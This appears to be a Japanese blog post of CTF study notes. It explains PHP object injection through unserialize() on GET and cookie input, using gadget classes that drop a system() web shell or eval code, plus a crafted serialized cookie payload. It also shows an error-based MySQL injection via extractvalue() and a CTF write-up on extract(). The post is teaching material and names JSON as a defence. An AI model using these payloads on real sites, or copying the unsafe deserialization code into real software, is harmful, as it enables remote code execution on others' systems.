16-09-08

本日のコード(1)[PHP]

~CTFの続き

参考URL:
PHP Object Injection - OWASP

上記のサイトを参考に、少し変化を加えてを書いてみる。

<?php
/* example_class.php */
class Example {
    function __construct() {}

    function __destruct() {
        $file = __DIR__ . "/c.php";
        file_put_contents($file,
            '<?php system($_GET["c"]); ?>');
    }
}

/* シリアライズデータを生成しておく */
/* file_put_contents("./ser", serialize(new Example())); */
/* => O:7:"Example":0:{} */
?>

データを受け取る側(デシリアライズする部分)で、
任意のデータを渡されると危険。

<?php
/* 復元するクラスを知っている必要がある */
require_once("./example_class.php");

/* I do not know what eggs are these, but I will try to hatch eggs. */
$data = unserialize($_GET["data"]);

/*
a.php?c=O:7:"Example":0:{}とすることで
c.phpが追加されてしまう
*/
?>

他の例。__wakeup()を使う。

<?php
class A {

    private $a;

    function __construct() {
        $this->a = 123;
    }
    
    function __sleep() {
        echo "sleep\n";

        /* シリアル化したいプロパティ名 */
        return ["a"];    
    }

    function __wakeup() {

        /* シリアルしきれない部分(DB接続等)を行わせる */
        echo "wake up\n";
    }

}

$a = new A();
$s = serialize($a);
$b = unserialize($s);
/*
=>
sleep
wake up
*/
?>

以下もクッキー値をそのまま復元しているので危険。

<?php
/* example_class.php */
/* このクラス自体が危険だが.. */
class Example {
    private $hook;

    function __construct($hook) {
        $this->hook = $hook;
    }

    function __wakeup() {
        /* バックドアを設置するまでもない */
        if (isset($this->hook)) eval($this->hook);
    }
}
?>

<?php
require_once("./example_class.php");

/* シリアライズした値をCookieに保存している例 */
$user_data = unserialize(@$_COOKIE["data"]);
?>

これに対して、

<?php
/* クッキーデータを生成 */
require_once("./example_class.php");
$a = new Example("phpinfo();");
var_dump(urlencode(serialize($a)));
/*
=>
O%3A7%3A%22Example%22%3A1%3A%7Bs%3A13%3A%22%00Example%00hook%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D
*/
?>

のような値をクッキーにセットした状態でページにアクセスすると、
Exampleクラスに指定したコードが実行される。
未チェックの値を復元(デシリアライズ)するのは危険なので可能なら
JSONを使用するという対策法がある。
問題を解くにあたっては、任意のデータがシリアライズされた状態で
クッキーに含まれている時点でこの脆弱性を疑うべきという
思考プロセスになる。

本日のコード(2)[MySQL]

extractvalue()について。XML形式のデータから値を抽出してくれる。

参考URL:
MySQL :: MySQL 5.6 リファレンスマニュアル :: 12.11 XML 関数

CREATE TABLE xml (
id INT NOT NULL AUTO_INCREMENT,
code VARCHAR(255),
PRIMARY KEY(id)
);

INSERT INTO xml SET code="<a><b>X</b></a>";

この状態で、

SELECT id, extractvalue(code, "/a/b") FROM xml;
-- => id=1, extract..=X となる

PROCEDURE ANALYSE()と合わせて、

SELECT * FROM xml
PROCEDURE ANALYSE(extractvalue(rand(), concat(0x3a, version()), 1);
-- => XPATH syntax error: ':10.1.13-MariaDB'

色々調べることができてしまう。

Write-upを読んだ(1)[PHP]

sCTF 2016 Q1 : ducks-30

知らない人は知っておいてねという趣旨と思われる。
PHPのextract()関数は、

<?php
/* 使わなければよいが、なぜあるのか */
$arr = ["a" => 123, "b" => 456];
extract($arr);
var_dump($a);    /* int(123) */
var_dump($b);    /* int(456) */
?>

問題を解くために知っておくというのが正攻法だと思う。